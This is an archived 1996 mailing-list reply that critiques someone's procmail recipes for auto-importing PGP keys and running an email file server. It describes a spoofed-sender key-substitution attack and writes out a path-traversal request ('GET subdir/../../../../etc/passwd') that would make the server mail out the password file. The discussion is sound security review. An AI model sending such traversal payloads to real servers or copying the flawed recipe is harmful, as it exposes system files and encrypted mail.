From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 22 Sep 1996 15:04:11 +0800
To: adam@homeport.org (Adam Shostack)
Subject: Re: How to use procmail
In-Reply-To: <199609050006.TAA07462@homeport.org>
Message-ID: <199609220423.XAA00811@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam Shostack wrote:
> :0
> * From bal@swissnet.ai.mit.edu
> {
>    :0 h
>    * >10000
>    /dev/null
> 
>    :0 h
>    *^Subject:.*no keys match
>    /dev/null
> 
>    :0:
>    *Subject: Your command, ADD
>    $DEFAULT
> 
> 
>    :0E
>    | pgp +batchmode -fka

Isn't this vulnerable to "deadbeef" attacks? I can also see an attack when 
someone sends you an email with the spooofed "From " address and a user
name that is the same (or almost the same) as that of your trusted parties.

Suppose that you correspond with mrx@provider.com and you use encryption
command 

pgp -eaf mrx

Then I can send you a bogus email containing a key for mrx@bogus.com 
and next time you encrypt something for your friend nrx@provider.com,
you will actually encrypt it with the wron key. If I intercept your
email, your message to mrx can be compromised.

> # basic file server.  Only sends whats in .outbound
> :0 
> * ^Subject: (SEND|get) [0-9a-z][-_/0-9a-z.]+$
> * !^Subject:.*[ /.]\.
> * !^FROM_DAEMON
> {
>    # FILE=`formail -x Subject: | sed 's/.* //'`
>    FILE=`sed -n -e '/Subject:/s/.* //p' -e '/^$/q'`
> 
>   :0c 
>   | (formail -rt -A"Precedence: junk";\
>      cat $HOME/.outbound/$FILE) | $SENDMAIL -t

*If* .outbound has some subdirectories (say subdir), How about this email: 

From: dumbass@aol.com
Subject: GET subdir/../../../../etc/passwd
Reply-To: blin@algebra.com

xxx


	- Igor.